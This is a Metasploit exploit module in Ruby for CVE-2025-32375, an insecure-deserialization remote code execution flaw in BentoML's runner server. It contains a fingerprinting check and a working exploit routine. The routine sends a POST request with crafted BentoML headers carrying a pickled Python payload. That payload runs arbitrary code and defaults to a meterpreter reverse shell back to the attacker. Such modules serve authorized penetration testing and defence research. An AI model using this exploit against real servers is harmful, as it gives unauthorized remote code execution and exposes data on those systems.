## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'BentoML\'s runner server RCE', 'Description' => %q{ There was an insecure deserialization in BentoML's runner server prior to version 1.4.8. By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server, which will grant initial access and information disclosure. }, 'Author' => [ 'SeaWind', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-32375'], ['URL', 'https://github.com/advisories/GHSA-7v4r-c989-xh26'], ], 'Targets' => [ [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python', 'Type' => :python, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' } } ], [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], ], 'DefaultOptions' => { 'FETCH_DELETE' => true }, 'DefaultTarget' => 0, 'DisclosureDate' => '2025-04-09', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(3000) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'metrics') }) return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'readyz') }) return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200 Exploit::CheckCode::Detected("BentoML\'s runner server detected.") # Version check not available end def exploit if target['Type'] == :python pl = payload.encoded else pl = "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")" end send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'args-number' => '1', 'Content-Type' => 'application/vnd.bentoml.pickled', 'Payload-Container' => 'NdarrayContainer', 'Payload-Meta' => '{"format": "default"}', 'Batch-Size' => '-1' }, 'data' => Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, pl) }) # No response check here end end